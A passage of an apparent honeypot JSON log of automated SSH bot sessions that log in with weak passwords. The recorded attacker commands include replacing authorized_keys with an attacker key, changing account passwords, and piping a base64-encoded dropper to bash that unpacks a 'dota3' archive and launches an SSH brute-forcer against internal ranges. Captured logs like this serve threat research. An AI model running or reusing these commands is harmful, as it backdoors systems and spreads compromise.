\"Qwerty123\\nPxqqniU0R1Q5\\nPxqqniU0R1Q5\\n\"|passwd"},{"seq":7,"at":"2026-08-25T03:04:31.336353+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T03:04:31.337071+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T03:04:31.715472+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T03:04:32.820173+00:00","kind":"output","latency_ms":1103,"data":" 15888 1024 14864 0 0 0"},{"seq":11,"at":"2026-08-25T03:04:33.199844+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T03:04:33.715383+00:00","kind":"output","latency_ms":515,"data":"-rwxr-xr-x 1 root root 148K May 25 15:54 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T03:04:34.097159+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T03:04:34.097694+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T03:04:34.476815+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T03:04:34.477292+00:00","kind":"output","latency_ms":null,"data":" 03:04:34 up 4 days, 23:54, 0 user, load average: 0.05, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T03:04:34.858028+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T03:04:34.858299+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T03:04:35.238140+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T03:04:35.238497+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T03:04:35.618733+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T03:04:35.619291+00:00","kind":"output","latency_ms":null,"data":"top - 03:04:35 up 4 days, 23:54, 0 user, load average: 0.05, 0.05, 0.05\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T03:04:35.999415+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T03:04:36.000131+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T03:04:36.381218+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T03:04:36.381684+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T03:04:36.764585+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T03:04:36.765485+00:00","kind":"output","latency_ms":null,"data":"redmine"},{"seq":29,"at":"2026-08-25T03:04:37.151026+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T03:04:38.049656+00:00","kind":"output","latency_ms":897,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-25T03:04:38.434144+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T03:04:38.849032+00:00","kind":"output","latency_ms":413,"data":"29G"},{"seq":33,"at":"2026-08-25T03:04:39.975554+00:00","kind":"input","latency_ms":null,"data":"echo \"redmine Qwerty123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T03:04:40.355765+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T03:04:40.715353+00:00","kind":"output","latency_ms":359,"data":""},{"seq":36,"at":"2026-08-25T03:04:41.680608+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T03:04:42.293367+00:00","kind":"output","latency_ms":612,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-25T03:04:42.676067+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T03:04:43.169502+00:00","kind":"output","latency_ms":494,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T03:04:43.551094+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T03:04:43.928478+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T03:04:44.474354+00:00","kind":"output","latency_ms":546,"data":"1"},{"seq":43,"at":"2026-08-25T03:04:44.854004+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T03:04:45.468747+00:00","kind":"output","latency_ms":613,"data":"1"},{"seq":45,"at":"2026-08-25T03:04:45.849846+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T03:04:46.346422+00:00","kind":"output","latency_ms":496,"data":""},{"seq":47,"at":"2026-08-25T03:04:54.160208+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T03:04:54.160826+00:00","kind":"output","latency_ms":null,"data":"redmine"}],"credentials":[{"username":"redmine","password":"Qwerty123","method":"password","accepted":true,"tier":"other"}]} {"id":"56ac9eba-c117-47de-ab3b-d2c92c7c4d38","name":"meadow-jaunty-wigeon","protocol":"ssh","channel_kind":"exec","src_ip":"119.209.12.20","src_port":60480,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":643,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T00:51:43.073455+00:00","ended_at":"2026-08-25T00:51:43.274634+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3508,"events":[{"seq":1,"at":"2026-08-25T00:51:05.552038+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T00:51:06.193861+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T00:51:11.443958+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T00:51:11.444964+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T00:51:12.085901+00:00","kind":"input","latency_ms":null,"data":"echo -e \"iloveyou\\nP9EGVGRHlNk7\\nP9EGVGRHlNk7\"|passwd|bash"},{"seq":6,"at":"2026-08-25T00:51:12.767025+00:00","kind":"input","latency_ms":null,"data":"echo \"iloveyou\\nP9EGVGRHlNk7\\nP9EGVGRHlNk7\\n\"|passwd"},{"seq":7,"at":"2026-08-25T00:51:13.411669+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T00:51:13.412326+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T00:51:14.054814+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T00:51:14.669403+00:00","kind":"output","latency_ms":613,"data":" 15888 1210 1324 11100 3173 0\n"},{"seq":11,"at":"2026-08-25T00:51:15.312243+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T00:51:16.397219+00:00","kind":"output","latency_ms":1084,"data":"-rwxr-xr-x 1 root root 148K Apr 9 2024 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T00:51:17.041530+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T00:51:17.042069+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T00:51:17.685825+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T00:51:17.686709+00:00","kind":"output","latency_ms":null,"data":" 00:51:17 up 4 days, 21:41, 0 user, load average: 0.31, 0.41, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T00:51:18.328516+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T00:51:18.329358+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T00:51:18.972454+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T00:51:18.972859+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T00:51:19.616350+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T00:51:19.617040+00:00","kind":"output","latency_ms":null,"data":"top - 00:51:19 up 4 days, 21:41, 0 user, load average: 0.31, 0.41, 0.33\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T00:51:20.261340+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T00:51:20.262162+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T00:51:20.905456+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T00:51:20.905950+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T00:51:21.551564+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T00:51:21.552014+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":29,"at":"2026-08-25T00:51:22.193068+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T00:51:22.797593+00:00","kind":"output","latency_ms":603,"data":"Model name: AMD EPYC 7713 64-Core Processor x8"},{"seq":31,"at":"2026-08-25T00:51:23.453139+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T00:51:23.899791+00:00","kind":"output","latency_ms":456,"data":"24G"},{"seq":33,"at":"2026-08-25T00:51:25.919227+00:00","kind":"input","latency_ms":null,"data":"echo \"ubuntu iloveyou\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T00:51:26.560639+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T00:51:27.198854+00:00","kind":"output","latency_ms":637,"data":""},{"seq":36,"at":"2026-08-25T00:51:28.851124+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T00:51:29.437630+00:00","kind":"output","latency_ms":586,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-25T00:51:30.080954+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T00:51:30.548122+00:00","kind":"output","latency_ms":466,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T00:51:31.195122+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T00:51:31.842685+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T00:51:32.270089+00:00","kind":"output","latency_ms":426,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-25T00:51:32.917611+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T00:51:33.462101+00:00","kind":"output","latency_ms":545,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-25T00:51:34.106847+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T00:51:34.538769+00:00","kind":"output","latency_ms":430,"data":""},{"seq":47,"at":"2026-08-25T00:51:43.074437+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T00:51:43.075090+00:00","kind":"output","latency_ms":null,"data":"ubuntu"}],"credentials":[{"username":"ubuntu","password":"iloveyou","method":"password","accepted":true,"tier":"other"}]} {"id":"e43cf21d-da59-4fb6-a40a-f989fe0b0c5d","name":"fleeting-marbled-wigeon","protocol":"ssh","channel_kind":"exec","src_ip":"113.161.222.150","src_port":39120,"username":"frontend","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":771,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T23:29:11.643837+00:00","ended_at":"2026-08-24T23:29:11.885751+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":6651,"events":[{"seq":1,"at":"2026-08-24T23:28:25.914535+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T23:28:26.683016+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T23:28:33.999848+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T23:28:34.000383+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T23:28:34.776258+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd\\nwSLaseFhDBhq\\nwSLaseFhDBhq\"|passwd|bash"},{"seq":6,"at":"2026-08-24T23:28:35.547429+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd\\nwSLaseFhDBhq\\nwSLaseFhDBhq\\n\"|passwd"},{"seq":7,"at":"2026-08-24T23:28:36.319224+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T23:28:36.319899+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T23:28:37.094201+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T23:28:37.581195+00:00","kind":"output","latency_ms":486,"data":"15888 6421 9467 68 0 0"},{"seq":11,"at":"2026-08-24T23:28:38.353813+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T23:28:39.098172+00:00","kind":"output","latency_ms":742,"data":"-rwxr-xr-x 1 root root 148K Apr 23 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T23:28:39.867662+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T23:28:39.868518+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T23:28:40.637696+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T23:28:40.638716+00:00","kind":"output","latency_ms":null,"data":" 23:28:40 up 4 days, 20:18, 0 user, load average: 0.21, 0.17, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T23:28:41.412545+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T23:28:41.424931+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T23:28:42.181089+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T23:28:42.181863+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T23:28:42.957622+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T23:28:42.958794+00:00","kind":"output","latency_ms":null,"data":"top - 23:28:42 up 4 days, 20:18, 0 user, load average: 0.21, 0.17, 0.16\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T23:28:43.732055+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T23:28:43.732684+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T23:28:44.503783+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T23:28:44.504238+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T23:28:45.278317+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T23:28:45.278765+00:00","kind":"output","latency_ms":null,"data":"frontend"},{"seq":29,"at":"2026-08-24T23:28:46.049870+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T23:28:49.180704+00:00","kind":"output","latency_ms":3128,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC"},{"seq":31,"at":"2026-08-24T23:28:49.950841+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T23:28:50.559432+00:00","kind":"output","latency_ms":607,"data":"25G"},{"seq":33,"at":"2026-08-24T23:28:53.110415+00:00","kind":"input","latency_ms":null,"data":"echo \"frontend P@ssw0rd\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T23:28:53.879681+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T23:28:54.312742+00:00","kind":"output","latency_ms":431,"data":""},{"seq":36,"at":"2026-08-24T23:28:56.636332+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T23:28:57.128223+00:00","kind":"output","latency_ms":489,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-24T23:28:57.899626+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T23:28:58.680598+00:00","kind":"output","latency_ms":780,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-24T23:28:59.451428+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T23:29:00.227248+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T23:29:00.762908+00:00","kind":"output","latency_ms":536,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-24T23:29:01.531601+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T23:29:01.961172+00:00","kind":"output","latency_ms":428,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-24T23:29:02.732416+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 